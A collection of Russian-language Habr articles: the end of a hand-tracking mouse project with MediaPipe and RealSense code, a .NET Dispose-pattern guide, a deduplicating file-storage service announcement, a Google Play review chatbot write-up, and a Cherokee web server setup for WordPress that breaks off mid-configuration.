Во-первых, там все уже есть из коробки — установка и запуск потребует минут 30, с учётом всех пререквизитов.
Во-вторых, благодаря мощной команде разработчиков, они не только берут State Of Art в Hand Pose Estimation, но и дают лёгкое в понимание API.
В-третьих, сеть готова работать на CPU, так что порог входа минимален.
Наверное, вы спросите почему я не зашёл вот [сюда](https://sites.google.com/view/hands2019/challenge) и не воспользовался репозиториями победителей этого соревнования. На самом деле я довольно подробно изучил их решение, они вполне prod-ready, никаких стаков миллионов сеток и т.д. Но самая большая проблема, как мне кажется — это то, что они работают с изображением глубины. Так как это академики, они не гнушались все данные конвертировать через матлаб, кроме того, разрешение, в котором были отсняты глубины, мне показались маленьким. Это могло сильно сказаться на результате. Поэтому, кажется, что проще всего получить ключевые точки на RGB картинке и по XY координатам взять значение по оси Z в Depth Frame. Сейчас не стоит задача сильно что-то оптимизировать, так что сделаем так, как это быстрее с точки зрения разработки.
#### Вспоминаем школьную математику
Как я уже писал что бы получить координату точки, где должен оказаться курсор мышки, нам необходимо построить линию, проходящую через две ключевые точки фаланги пальца, и найти точку пересечения линии и плоскости монитора.

На картинке схематично изображена плоскость монитора и линия, ее пересекающая. Посмотреть на математику можно [тут](http://www.cleverstudents.ru/line_and_plane/parametric_equations_of_line_in_space.html)
По двум точкам получаем параметрическое представление прямой в пространстве.

Не буду сильно заострять внимание на школьной программе математики.
#### Установка бибилотеки для работы с камерой
Пожалуй, это самая сложная часть этой работы. Как оказалось, софт для камеры под Ubuntu очень сырой, [librealsense](https://github.com/IntelRealSense/librealsense) просто завален всевозможными багами, глюками и танцами с бубном.
До сих пор мне не удалось победить странное поведение камеры, иногда она не подгружает параметры при запуске.
Камера работает только один раз после рестарта компьютера!!! Но есть решение: перед каждым запуском делать программно hard reset камеры, резет usb, и, может быть, всё будет хорошо. Кстати для Windows 10 там все нормально. Странно разработчики себе представляют роботов на базе винды =)
Чтобы под Ubuntu 20 у вас завелся realsense, сделайте так:
```
$ sudo apt-get install libusb-1.0-0-dev
Then rerun cmake and make install. Here is a complete recipe that worked for me:
$ sudo apt-get install libusb-1.0-0-dev
$ git clone https://github.com/IntelRealSense/librealsense.git
$ cd librealsense/
$ mkdir build && cd build
$ cmake ../ -DFORCE_RSUSB_BACKEND=true -DBUILD_PYTHON_BINDINGS=true -DCMAKE_BUILD_TYPE=release -DBUILD_EXAMPLES=true -DBUILD_GRAPHICAL_EXAMPLES=true
$ sudo make uninstall && make clean && make && sudo make install
```
Собрав из сорцов, оно будет более или менее стабильно. Месяц общения с техподдержкой выявил, что надо ставить Ubuntu 16 или страдать. Я выбрал сами понимаете что.
Продолжаем разбираться в тонкостях работы нейросети
---------------------------------------------------
Теперь посмотрим еще одно видео работы пальца-мышки. Обратите внимание, что указатель не может стоять на одном месте и как бы плавает вокруг предполагаемой точки. При этом я могу легко его направить к необходимому мне слову, а вот с буквой сложнее, приходится, аккуратно подводить курсор:
Это, как вы поняли, не тряска моих рук, на праздниках я выпил всего одну кружку New England DIPA =) Все дело в постоянных флуктуациях ключевых точек и Z-координаты на основе значений, получаемых от лидара.
Посмотим вблизи:
В нашей SOTA от [mediapipe](https://github.com/google/mediapipe) флуктуаций конечно меньше, но они тоже есть. Как выяснилось, они борются с этим путём прокидывания из прошлого кадра [heatmap](https://heartbeat.fritz.ai/heatmaps-and-convolutional-neural-networks-using-fast-ai-16d5b7d02a86) в текущий кадр и обучают сеть — это даёт больше стабильности, но не 100%.
Еще, как мне кажется, играет роль специфика разметки. Вряд ли можно сделать на таком количестве кадров одинаковую разметку, не говоря уже о том, что разрешение кадра везде разное и не очень большое. Также мы не видим мерцание света, которое, вероятнее всего, не постоянно из-за разного периода работы и величины экспозиции камеры. И еще сеть возвращает бутерброд из heatmap, равный количеству ключевых точек на экране, размер этого тензора BxNx96x96, где N — это кол-во ключевых точек, и, конечно же, после threshold и resize к оригинальному размеру кадра, мы получаем то что получаем (
Прмер визуализации heatmap:

Обзор кода
----------
Весь код находится в [этом](https://github.com/aidonchuk/mouse_hand) репозитории и он очень короткий. Давайте разберём основной файл, а остальное вы посмотрите сами.
```
import cv2
import mediapipe as mp
import numpy as np
import pyautogui
import pyrealsense2.pyrealsense2 as rs
from google.protobuf.json_format import MessageToDict
from mediapipe.python.solutions.drawing_utils import _normalized_to_pixel_coordinates
from pynput import keyboard
from utils.common import get_filtered_values, draw_cam_out, get_right_index
from utils.hard_reset import hardware_reset
from utils.set_options import set_short_range
pyautogui.FAILSAFE = False
mp_drawing = mp.solutions.drawing_utils
mp_hands = mp.solutions.hands
# инициализируем mediapipe для Hand Pose Estimation
hands = mp_hands.Hands(max_num_hands=2, min_detection_confidence=0.9)
def on_press(key):
if key == keyboard.Key.ctrl:
pyautogui.leftClick()
if key == keyboard.Key.alt:
pyautogui.rightClick()
def get_color_depth(pipeline, align, colorizer):
frames = pipeline.wait_for_frames(timeout_ms=15000) # ождидаем фрейм от камеры
aligned_frames = align.process(frames)
depth_frame = aligned_frames.get_depth_frame()
color_frame = aligned_frames.get_color_frame()
if not depth_frame or not color_frame:
return None, None, None
depth_image = np.asanyarray(depth_frame.get_data())
depth_color_image = np.asanyarray(colorizer.colorize(depth_frame).get_data())
color_image = np.asanyarray(color_frame.get_data())
depth_color_image = cv2.cvtColor(cv2.flip(cv2.flip(depth_color_image, 1), 0), cv2.COLOR_BGR2RGB)
color_image = cv2.cvtColor(cv2.flip(cv2.flip(color_image, 1), 0), cv2.COLOR_BGR2RGB)
depth_image = np.flipud(np.fliplr(depth_image))
depth_color_image = cv2.resize(depth_color_image, (1280 * 2, 720 * 2))
color_image = cv2.resize(color_image, (1280 * 2, 720 * 2))
depth_image = cv2.resize(depth_image, (1280 * 2, 720 * 2))
return color_image, depth_color_image, depth_image
def get_right_hand_coords(color_image, depth_color_image):
color_image.flags.writeable = False
results = hands.process(color_image)
color_image.flags.writeable = True
color_image = cv2.cvtColor(color_image, cv2.COLOR_RGB2BGR)
handedness_dict = []
idx_to_coordinates = {}
xy0, xy1 = None, None
if results.multi_hand_landmarks:
for idx, hand_handedness in enumerate(results.multi_handedness):
handedness_dict.append(MessageToDict(hand_handedness))
right_hand_index = get_right_index(handedness_dict)
if right_hand_index != -1:
for i, landmark_list in enumerate(results.multi_hand_landmarks):
if i == right_hand_index:
image_rows, image_cols, _ = color_image.shape
for idx, landmark in enumerate(landmark_list.landmark):
landmark_px = _normalized_to_pixel_coordinates(landmark.x, landmark.y,
image_cols, image_rows)
if landmark_px:
idx_to_coordinates[idx] = landmark_px
for i, landmark_px in enumerate(idx_to_coordinates.values()):
if i == 5:
xy0 = landmark_px
if i == 7:
xy1 = landmark_px
break
return color_image, depth_color_image, xy0, xy1, idx_to_coordinates
def start():
pipeline = rs.pipeline() # инициализируем librealsense
config = rs.config()
print("Start load conf")
config.enable_stream(rs.stream.depth, 1024, 768, rs.format.z16, 30)
config.enable_stream(rs.stream.color, 1280, 720, rs.format.bgr8, 30)
profile = pipeline.start(config)
depth_sensor = profile.get_device().first_depth_sensor()
set_short_range(depth_sensor) # загружаем параметры для работы на маленьком расстоянии
colorizer = rs.colorizer()
print("Conf loaded")
align_to = rs.stream.color
align = rs.align(align_to) # совокупляем карту глубины и цветную картинку
try:
while True:
color_image, depth_color_image, depth_image = get_color_depth(pipeline, align, colorizer)
if color_image is None and color_image is None and color_image is None:
continue
color_image, depth_color_image, xy0, xy1, idx_to_coordinates = get_right_hand_coords(color_image,
depth_color_image)
if xy0 is not None or xy1 is not None:
z_val_f, z_val_s, m_xy, c_xy, xy0_f, xy1_f, x, y, z = get_filtered_values(depth_image, xy0, xy1)
pyautogui.moveTo(int(x), int(3500 - z)) # 3500 хард код специфичый для моего монитора
if draw_cam_out(color_image, depth_color_image, xy0_f, xy1_f, c_xy, m_xy):
break
finally:
hands.close()
pipeline.stop()
hardware_reset() # делаем ребут камеры и ожидаем её появления
listener = keyboard.Listener(on_press=on_press) # устанавливаем слушатель нажатия кнопок клавиатуры
listener.start()
start() # запуск программы
```
Я не стал использовать классы или потоки, потому что для такого простого случая достаточно всё выполнять в основном потоке в бесконечном цикле while.
В самом начале происходит инициализация mediapipe, камеры, загрузка настроек камеры для работы short range и вспомогательных переменных. Следом идёт магия под названием «alight depth to color» — эта функция ставит в соответствие каждой точки из RGB картинки, точку на Depth Frame, то есть даёт нам возможность получать по координатам XY, значение Z.
Понято, что необходимо произвести калибровку на вашем мониторе. Я специально не стал вытаскивать отдельно эти параметры, чтобы читатель, решивший запустить код, сделал это сам, заодно резберётся в коде =)
Далее мы берём из всего предсказания только точки под номером 5 и 7 правой руки.

Осталось дело за малым — полученные координаты фильтруем с помощью скользящего среднего. Можно было конечно применить более серьезные алгоритмы фильтрации, но взглянув на их [визуализацию](https://cristal.univ-lille.fr/~casiez/1euro/InteractiveDemo/) и подёргав разные рычажки, стало понятно, что для демо вполне хватит и скользящего среднего с глубиной 5 фреймов, хочу заметить, что для XY вполне хватало и 2-3-х, но вот с Z дела обстоят хуже.
```
deque_l = 5
x0_d = collections.deque(deque_l * [0.], deque_l)
y0_d = collections.deque(deque_l * [0.], deque_l)
x1_d = collections.deque(deque_l * [0.], deque_l)
y1_d = collections.deque(deque_l * [0.], deque_l)
z_val_f_d = collections.deque(deque_l * [0.], deque_l)
z_val_s_d = collections.deque(deque_l * [0.], deque_l)
m_xy_d = collections.deque(deque_l * [0.], deque_l)
c_xy_d = collections.deque(deque_l * [0.], deque_l)
x_d = collections.deque(deque_l * [0.], deque_l)
y_d = collections.deque(deque_l * [0.], deque_l)
z_d = collections.deque(deque_l * [0.], deque_l)
def get_filtered_values(depth_image, xy0, xy1):
global x0_d, y0_d, x1_d, y1_d, m_xy_d, c_xy_d, z_val_f_d, z_val_s_d, x_d, y_d, z_d
x0_d.append(float(xy0[1]))
x0_f = round(mean(x0_d))
y0_d.append(float(xy0[0]))
y0_f = round(mean(y0_d))
x1_d.append(float(xy1[1]))
x1_f = round(mean(x1_d))
y1_d.append(float(xy1[0]))
y1_f = round(mean(y1_d))
z_val_f = get_area_mean_z_val(depth_image, x0_f, y0_f)
z_val_f_d.append(float(z_val_f))
z_val_f = mean(z_val_f_d)
z_val_s = get_area_mean_z_val(depth_image, x1_f, y1_f)
z_val_s_d.append(float(z_val_s))
z_val_s = mean(z_val_s_d)
points = [(y0_f, x0_f), (y1_f, x1_f)]
x_coords, y_coords = zip(*points)
A = np.vstack([x_coords, np.ones(len(x_coords))]).T
m, c = lstsq(A, y_coords)[0]
m_xy_d.append(float(m))
m_xy = mean(m_xy_d)
c_xy_d.append(float(c))
c_xy = mean(c_xy_d)
a0, a1, a2, a3 = equation_plane()
x, y, z = line_plane_intersection(y0_f, x0_f, z_val_s, y1_f, x1_f, z_val_f, a0, a1, a2, a3)
x_d.append(float(x))
x = round(mean(x_d))
y_d.append(float(y))
y = round(mean(y_d))
z_d.append(float(z))
z = round(mean(z_d))
return z_val_f, z_val_s, m_xy, c_xy, (y0_f, x0_f), (y1_f, x1_f), x, y, z
```
Создаем deque c длинной 5 фреймов и усредняем все подряд =) Дополнительно рассчитываем y = mx+c, Ax+By+Cz+d=0, уравнение для прямой — луч на RGB картинке и уравнение плоскости монитора, оно у нас получается y=0.
### Итоги
Ну вот и всё, мы запилили простейший манипулятор, который даже при своем драматически простом исполнении уже сейчас может быть, хоть и с трудом, но использован в реальной жизни!
### Благодарности
Спасибо сообществу [ods.ai](https://ods.ai/), без него невозможно развиваться! | https://habr.com/ru/post/536602/ | null | ru | null |
# Самая простая и надежная реализация шаблона проектирования Dispose

Казалось бы, данный шаблон не просто прост, а очень прост, подробно разобран не в одной известной книге.
Тем не менее, до сих пор даже в рамках одного проекта он зачастую может быть реализован по-разному, создавая зоопарк из велосипедов, костылей и утечек.
Хочу поделиться своим способом реализации, который основан на минимизации изобретения велосипедов, максимальном уменьшении количества кода и увеличении его выразительности и прозрачности.
Предусловия
===========
Никакого смешения управляемых и неуправляемых ресурсов
------------------------------------------------------
Я никогда не реализую сам и не советую коллегам использовать владение управляемыми и неуправляемыми ресурсами в одном классе.
Таким образом, один класс может:
* Не владеть ресурсами вообще
* Владеть одним неуправляемым ресурсом, то есть просто конвертировать его в управляемый
* Владеть одним или многими управляемыми ресурсами
Наследование реализаций нежелательно
------------------------------------
Я не использую наследование от классов без крайней необходимости, предлагаемая реализация предполагает в качестве объекта-владельца ресурсов экземпляр запечатанного класса.
Это не значит, что ее нельзя модифицировать для поддержки наследования.
Обертки для неуправляемых ресурсов реализуется с помощью [Janitor.Fody](https://github.com/Fody/Janitor)
--------------------------------------------------------------------------------------------------------
Обновление: в [комментариях](http://habrahabr.ru/post/270929/#comment_8656409) совершенно справедливо указано, что с этой целью лучше использовать классы, унаследованные от [CriticalFinalizerObject](https://msdn.microsoft.com/ru-ru/library/system.runtime.constrainedexecution.criticalfinalizerobject(v=vs.110).aspx) и [SafeHandle](https://msdn.microsoft.com/ru-ru/library/system.runtime.interopservices.safehandle(v=vs.110).aspx).
**То, чем пользовался я**Этот плагин к [Fody](https://github.com/Fody) — бесплатному инструменту модификации кода сборок после компиляции — позволит не выписывать вручную тысячу и одну деталь реализации, необходимой для корректного освобождения ресурсов.
Ваш код (пример из [документации](https://github.com/Fody/Janitor#custom-unmanaged-handling)):
```
public class Sample : IDisposable
{
IntPtr handle;
public Sample()
{
handle = new IntPtr();
}
public void Method()
{
//Some code
}
public void Dispose()
{
//must be empty
}
void DisposeUnmanaged()
{
CloseHandle(handle);
handle = IntPtr.Zero;
}
[DllImport("kernel32.dll", SetLastError=true)]
static extern bool CloseHandle(IntPtr hObject);
}
```
Результат постобработки:
```
public class Sample : IDisposable
{
IntPtr handle;
volatile int disposeSignaled;
bool disposed;
public Sample()
{
handle = new IntPtr();
}
void DisposeUnmanaged()
{
CloseHandle(handle);
handle = IntPtr.Zero;
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern Boolean CloseHandle(IntPtr handle);
public void Method()
{
ThrowIfDisposed();
//Some code
}
void ThrowIfDisposed()
{
if (disposed)
{
throw new ObjectDisposedException("TemplateClass");
}
}
public void Dispose()
{
if (Interlocked.Exchange(ref disposeSignaled, 1) != 0)
{
return;
}
DisposeUnmanaged();
GC.SuppressFinalize(this);
disposed = true;
}
~Sample()
{
Dispose();
}
}
```
Теперь можно перейти к самому распространенному случаю, ради которого и была написана эта статья.
Реализация шаблона проектирования Dispose для управляемых ресурсов
==================================================================
Подготовка
----------
Для начала нам потребуется класс [CompositeDisposable](https://msdn.microsoft.com/en-us/library/system.reactive.disposables.compositedisposable(v=vs.103).aspx) из библиотеки [Reactive Extensions](https://github.com/Reactive-Extensions/Rx.NET).
К нему необходимо дописать небольшой метод расширения:
```
public static void Add(this CompositeDisposable litetime, Action action)
{
lifetime.Add(Disposable.Create(action));
}
```
Добавление поля, отвечающего за очистку
---------------------------------------
```
private readonly CompositeDisposable lifetime = new CompositeDisposable();
```
Реализация метода Dispose
-------------------------
```
public void Dispose()
{
lifetime.Dispose();
}
```
Больше ничего и никогда в этот метод добавлять не нужно.
Очистка явно конструируемых ресурсов
------------------------------------
Достаточно просто добавить простейший код прямо в место выделения ресурса.
Было:
```
myOwnResourceField = new Resource();
// И где-то при очистке
if (myOwnResourceField != null)
{
myOwnResourceField.Dispose();
myOwnResourceField = null;
}
```
Стало:
```
lifetime.Add(myOwnedResourceField = new Resource());
```
Отписка от событий
------------------
Было:
```
sender.Event += Handler;
// И где-то при очистке
sender.Event -= Handler
```
Стало:
```
sender.Event += Handler;
lifetime.Add(() => sender.Event -= Handler);
```
Отписка от IObservable
----------------------
Было:
```
subscription = observable.Subscribe(Handler);
// И где-то при очистке
if (subscription != null)
{
subscription.Dispose();
subscription = null;
}
```
Стало:
```
lifetime.Add(observable.Subscribe(Handler));
```
Выполнение произвольных действий при очистке
--------------------------------------------
```
CreateAction();
lifetime.Add(() => DisposeAction());
```
Проверка состояния объекта
--------------------------
```
if (lifetime.IsDisposed)
```
Выводы
======
Предлагаемый способ:
* универсален: гарантированно покрываются любые управляемые ресурсы, даже такие как «при очистке выполните следующий код»
* выразителен: дополнительный код невелик по объему
* привычен: используется обыкновенный класс из очень популярной библиотеки, который, вдобавок, при необходимости несложно написать и самостоятельно
* прозрачен: код очистки каждого ресурса расположен вплотную к коду захвата, большинство потенциальных утечек будут сразу замечены при рецензировании
* ухудшает производительность: добавляет «memory traffic» за счет создания новых объектов
* не влияет на безопасность использования уже «мертвого» объекта: собственные ресурсы очистятся только однажды, но любые проверки с выбросом ObjectDisposedException надо делать вручную
Буду рад, если описанный способ пригодится читателям. | https://habr.com/ru/post/270929/ | null | ru | null |
# Система хранения файлов с дедупликацией между пользователями
Начало этому проекту положила очень простая идея, о которой, я год назад [писал](http://habrahabr.ru/blogs/i_am_advertising/132323/) на страницах хабрахабра. Именно тогда, я задумался, почему все сервисы хранения файлов такие жадные? Почему они зарабатывают на том, что несколько различных пользователей, хранят один и тот же файл? Почему мы должны платить дважды, трижды, а иногда и в сотни раз больше, чем реально это стоит? По-моему это несправедливо.
Вторая проблема всех платных сервисов хранения файлов – абонентская плата. Нас заставляют постоянно платить за хранение наших файлов. Если не заплатить, файлы удалят. Больше похоже на вымогательство, чем на удобный сервис, особенно в свете вот этого [исследования](http://dspace.princeton.edu/jspui/bitstream/88435/dsp01w6634361k/1/DataSpaceFundingModel_20100827.pdf) на тему стоимости хранения данных. Поэтому я решил, что настала пора создать проект, который лишен этих недостатков.
Так появилась идея, а что из этого получилось можно прочитать под хабракатом.
[MD5 File](https://md5file.com) это персональная система хранения файлов c дедупликацией. Пока другие зарабатывают на хранении множества одинаковых файлов у разных пользователей, сервис предлагает разделить стоимость хранения файла между всеми пользователями. Таким образом, постоянное хранение файла может практически ничего не стоить для пользователя, а максимальная стоимость хранения не превышает 1 доллара за гигабайт. Это единовременная плата. Никакой абонентской платы не взимается.
##### Как это работает.
Когда загружается файл, система проверяет, есть ли другие пользователи, которые используют этот же файл и рассчитывает стоимость хранения. Например, если 10 пользователей хранят один и тот же 10 гигабайтный файл, то фактически, каждый из них будет использовать только 1 гигабайт своего пространства. При увеличении количества пользователей система автоматически пересчитывает занимаемое место файлом и свободное пространство у всех пользователей файла увеличивается.
Я очень хочу, чтобы проект не стал «еще одной системой хранения файлов», ведь кроме того, чтобы просто загрузить свои файлы, особенно на длительный срок, необходимо иметь удобную систему поиска и систематизации. Лично мне не очень нравится система с папками, так как она не позволяет одновременно добавить файл в несколько разных групп, поэтому я решил, что необходимо реализовать поддержку тегов. Именно поэтому сервис поддерживает очень гибкую систему поиска, которая позволяет задавать, например, такие правила:
* `париж,!жена` – ищет все файлы с тегом или именем **париж**, но без тега или имени **жена**
* `париж,!tag:я,name=2012` – ищет все файлы с тегом или именем **париж**, но без тега **я**, в имени которого есть текст **2012**
* `париж|tag:жена,ext:pdf` — ищет все файлы с тегом или именем **париж** или c тегом **жена** и расширением **pdf**
Поисковые теги можно спокойно добавлять в закладки и таким образом сразу переходить на нужную группу файлов, что по-моему очень удобно.
Такая же система реализована в webdav, т.е. вы можете примонтировать webdav диск и делать на него ссылки по тегам, например, \md5file\storage\париж\дети или \md5file\storage\семья\дети в любой кобинации. В настоящий момент webdav сервис работает в beta-readonly режиме по адресу `webdav.md5file.com/storage`
##### Что в планах на будущее?
* Загрузка файлов из торрентов и HTTP/FTP ссылок
* WebDav (полная поддержка)
* Обмен файлами между пользователями
* Интеграция с другими сервисами хранения файлов
* Мгновенная загрузка файла (при наличии на сервере)
Ссылка на проект: [MD5 File](https://md5file.com)
P.S. К сожалению, регистрация через социальные сети пока не поддерживается, в связи с тем, что необходим пароль для WebDav. В будущем планируем реализовать и такую авторизацию. | https://habr.com/ru/post/138080/ | null | ru | null |
# Чат-бот для отзывов из Google Play. Опыт QuData
Боты. В технических кругах о них не писал только ленивый.Мы хотим представить вам свою версию применения этой популярной и такой обсуждаемой темы.
Как все начиналось? Мы компания, которая делает игры. За время нашей работы у нас скопилось много интересных игр, которые любимы и востребованы пользователями вот уже несколько лет. К тому же мы постоянно работаем над новыми продуктами. Игр стало ощутимо больше.
Мы заметили, что поддержка пользователей по всем проектам занимает теперь огромную часть времени. И, естественно, захотели оптимизации. А кто может помочь суровым айтишникам в оптимизации? Конечно же искусственный интеллект!
Поэтому мы решили, что нам нужен бот, который будет обрабатывать отзывы пользователей вместо нашей технической поддержки.Сказано - сделано.
Как строить будем?
Архитектура нашего бота будет состоять из трех основных этапов:
1. Получение отзывов из Google Play
2. Интерпретация намерения, комплексный анализ полученного отзыва для формирования ответа
3. Отправка ответа на Google Play
Для начала нам нужно как-то получать наши отзывы.
Будем использовать Google Play Developer API. Метод list возвращает список отзывов, но только за последнюю неделю. Ну нам и достаточно. Все равно будем отвечать чаще, чем раз в неделю.
В случае успеха тело ответа содержит данные со следующей структурой:
```
JSON representation
{
"reviews": [
{
object (Review)
}
],
"tokenPagination": {
object (TokenPagination)
},
"pageInfo": {
object (PageInfo)
}
}
```
Отзывы получили. Супер. Теперь, прежде, чем отдать их в нейронную сеть, нужно предусмотреть какую-то текстовую предобработку. Отзывы бывают очень разные.
Например, такие.
Или такие.
Или вообще такие.
Боюсь, наш виртуальный помощник может быть к такому не готов.Итак, чистим все! Убираем регистр, знаки препинания, смайлы и все остальное, что отвлекает от сути отзыва.
Кстати, несмотря на все наши оптимизации смысл отзыва все равно может быть непонятен. И не только боту, но и человеку.
Даже не пытайтесь это распознать :) Что ж. Будем надеяться, такие случаи - скорее исключение.Интересно, что скажет на это бот?Давайте строить нашу сеть.
Общая схема работы представлена на картинке.
На вход мы будем подавать отзывы наших пользователей.
Затем отзыв будет проходить через механизм определения намерения. То есть входящий текст при помощи нейронных сетей будет сопоставляться с одним или несколькими намерениями.
Намерения будем определять с помощью векторизации предложений и сравнения их схожести между собой. Примеры намерений, которые мы укажем, и сами намерения будут преобразовываться в вектора и подаваться на вход нейросетям. На выходе мы получим вектор именно для этого набора слов.Забегая немного наперед скажу, что на практике такой метод определения намерений сработал достаточно хорошо по той причине, что распознавал любые специфические словосочетания, которые мы указывали в примерах намерений.
При обучении сети будем стремиться минимизировать функцию потерь в виде суммы косинусных произведений между двумя похожими векторами и k-непохожими. Таким образом, после обучения каждому намерению будет поставлен в соответствие некий вектор. То есть, для нас важно понимать, что слова “интересная” и “хорошая” гораздо ближе к друг другу, чем слова “банан” и “компьютер”.
Когда на вход поступает очередной отзыв, он векторизируется и пропускается через обученную модель. На выходе получаем некий вектор, рассчитываем расстояние от него до всех векторов намерений и результат ранжируем. Таким образом определяем наиболее вероятные намерения и исключаем отрицательные значения, которые по сути совсем не похожи на полученный результат.
Так, намерение получили, теперь мы знаем, что хотел сказать нам пользователь. Осталось дать ответ. Для этого мы заранее указали реакции-ответы на все наши типы намерений. Теперь, когда мы знаем тип намерения, мы просто выдаем соответствующую ему реакцию.
Для обучения нейронной сети нам нужны большие объемы данных. Мы взяли все отзывы со всех наших игр за последние 5 лет и запихнули в один текстовый файл. Получилось больше полмиллиона отзывов.
Прежде, чем начать обучение, мы провели небольшую предобработку текста.
Убрали все смайлы. Были такие отзывы, которые состояли только из смайлов, типа большого пальца вверх. Такие отзывы не попали в выборку.
Убрали знаки препинания, так как пользователи не всегда их ставили там, где нужно. И наоборот, точки могли быть в самых непредсказуемых местах. Убрали дефисы, чтобы “как-нибудь” и “как нибудь” были одной сущностью.
Без знаков препинания и регистр ни к чему. Тоже в топку.
Особенная тема - повторение букв. Отзывы “крууууто”, “супееееер” встречались очень часто. Поэтому тоже почистили.
Около 20% отзывов мы оставили для валидации, остальное ушло в обучающую выборку.
Всё. теперь мы готовы начать обучение.
В нейронную сеть отзывы поступают последовательно по одному. Например, отзыв с текстом `“просто классная игра”` подается на вход.
В первую очередь к нему применяется [токенизация](https://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7) и [лемматизация](https://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D0%BC%D0%BC%D0%B0%D1%82%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F) . Отзыв разбивается на отдельные слова и затем различные формы одного слова сводятся к одной словарной форме. Ну например, “игра” вместо “игрой”, “в игре”.
Получится что-то вроде: `“просто “ “классная “ “игра”`
Далее применяем к нашим токенам метод N-грамм. N-грамм это просто последовательности букв из слова. Например, если разбить слово “классная” на триграммы, получим `{“кла”, “лас”, “асс”, “ссн”, “сна”, “ная”}.` Для нашей задачи минимальная длина N-грамм - это две буквы, а максимальная - четыре.
Создается список признаков исходного текста и его токенов. Формируются дополнительные признаки из N-грамм. Создаются лексические и синтаксические признаки токенов текста. Их очень много. Только одних признаков N-грамм у нас получилось 14184.
Признаки формируем используя предобученную сеть BERT.
В качестве классификатора намерений применяем Transformer.Мы логически выделили разные типы намерений. Ну например: - пользователь доволен - пользователь недоволен
* пользователь только начал играть, пока не понятно - игра зависает - игра не запускается - пользователю понравилось последнее обновление
* пользователь ждет нового контента - пользователь хочет восстановить прогресс с другого устройстваТаких намерений у нас получилось около 50 типов. Также не забываем, что пользователи в одном отзыве могут упомянуть несколько тем, поэтому комбинированные типы мы тоже обрабатываем.
Ну и собственно, все. Когда намерение определено, нам лишь следует выдать на него соответствующий ответ.
А как же это работает на практике?
К примеру, у нас на страничке приложения в Google Play оставили такой отзыв.
От API нам придет текст с кодировкой смайлика UTF-8.“Просто классная игра 0xE2 0x9D 0xA4 0xE2 0x9D 0xA4 0xE2 0x9D 0xA4”
Для входящих отзывов мы также применяем ту же предобработку, которую использовали для подготовки данных.В текущем случае мы просто удалим смайлики и регистр, останется текст “просто классная игра”.
Дальше отзыв поступает в нейронную сеть, задача которой извлечь из отзыва суть, намерение пользователя.
Мы определяем, что это намерение относится к типу “пользователь доволен” и отвечаем на него заранее подготовленным текстом для такого случая.
Ответ также публикуем на Google Play.
Замечательно. Пользователи не остались без внимания, а бот помог нам быстрее обработать все отзывы.
Конечно, бот не может заменить отдел поддержки. Человеческое общение никто не отменял. При технических неполадках или в случае низкой уверенности в ответе бот все равно отдает отзывы в отдел поддержки. Но их значительно меньше, чем было ранее. Сейчас 92% отзывов бот может обработать самостоятельно.
И благодаря этому наши сотрудники могут сфокусироваться на уникальных случаях, когда помощь действительно необходима. А бот стал отличным помощником нашего отдела поддержки. | https://habr.com/ru/post/565094/ | null | ru | null |
# Настройка веб-сервиса Cherokee под Ubuntu 11.04 для работы с WordPress
Недавно я захотел попробовать какую-нибудь альтернативу для домашнего веб-сервиса.
Не то чтобы меня чем-то не устраивал «станартный» Apache — просто хотелось расширить кругозор ну и, возможно, найти альтернативу получше.
Кандидат должен был отвечать нехитрым требованиям — малое потребление ресурсов и высокая скорость работы.
Так как [Nginx](http://nginx.org/ "Официальный сайт Nginx"), [lighthttpd](http://www.lighttpd.net/ "Официальный сайт ligthhttpd") и [LiteSpeed](http://www.litespeedtech.com/ "Официальный сайт LiteSpeed") я уже в своё время трогал, и примерно знал, чего от них можно ожидать — выбор пал на испанскую разработку [Cherokee](http://www.cherokee-project.com/).
Изначально статья планировалась как сравнение двух «индейцев» — но в процессе установки и настройки Cherokee я столкнулся с парой подводных камней. Так что эта статья — так сказать вводная.
Сравнение производительности тоже будет — но чуть позже.
Итак, Cherokee.
Как написано на официальном сайте — это инновационный, легко конфигурируемый веб-сервер с большим количеством фич. Давайте приступим к установке и посмотрим на него поближе.
И сразу же нас ждёт
Подоводный камень №1.
=====================
Заключается он в выборе источника для установки. Вариантов, как обычно, 3:
* использовать стандартные репозитории системы;
* использовать ppa;
* собирать из исходных кодов;
Третий вариант я отмёл сразу — чай, не [Gentoo](http://lurkmore.to/Gentoo "Статья про Gentoo на Lurkmore"), и решил поставить из стандартного репозитория:
`sudo apt-get install cherokee php5-fpm`
Как выяснилось позже — в стандартном репозитории Ubuntu лежит достаточно старая версия, которая толком не работает с PHP-fpm ([старый баг 2010 года](http://code.google.com/p/cherokee/issues/detail?id=1040 "Ссылка на issue tracker проекта с описанием бага") — конфигуратор Cherokee не может отыскать конфиг PHP-fpm в системе).
Посему — ставить нужно из PPA:
`sudo add-apt-repository ppa:cherokee-webserver/ppa
sudo apt-get update
sudo apt-get install cherokee cherokee-admin`
После установки — запускаем админку Cherokee (отдельный Python-based веб-сервис, запускать его нужно только на время конфигурирования Cherokee — постоянно работающий он не нужен) и идём по URL, который отдаст команда (по-умолчанию — <http://127.0.0.1:9090>):
`sudo cherokee-admin`
На домашнем сервере у меня крутится мой стенделон-блог на WordPress — посему нам нужно сконфигурить Cherokee для работы с PHP-fpm, и для обслуживания WordPress.
В сети масса мануалов о том, как это сделать, но подробной пошаговой инструкции я не нашёл и потратил пару часов на то, чтобы привести всё в рабочее состояние.
Подводный камень №2.
====================
[Behavior](http://www.cherokee-project.com/doc/config_virtual_servers_rule.html "Ссылка на соответствующий раздел документации Cherokee") для обработки файлов php должен быть всегда сверху (настоящий мужик, чо).
Вот так должны выглядеть настройки Behavior для WordPress:

Обратите внимание, что правила обработки директорий содержат относительные пути.
То есть, в терминах Apache, если у вас DocumentRoot для VirtualHost WordPress'а показывает в /var/www/html/blog/ — полностью путь указывать не надо, работать не будет. Указывайте как на скриншоте: /wp-content, /wp-includes, /wp-admin.
Подведём итог.
==============
Для настройки Cherokee для обслуживания WordPress нужно установить сам Cherokee, PHP-fpm, и настроить веб-сервис через cherokee-admin:
— добавляем новый Source для PHP-fpm (если Cherokee не подхватил его сам), для этого вверху в меню идём в Sources, слева жмём на знак «+» и заполняем поля:
* **Nick:** *PHP Interpreter*
* **Connection:** *127.0.0.1:9000*
* **Type:** *Local Interpreter*
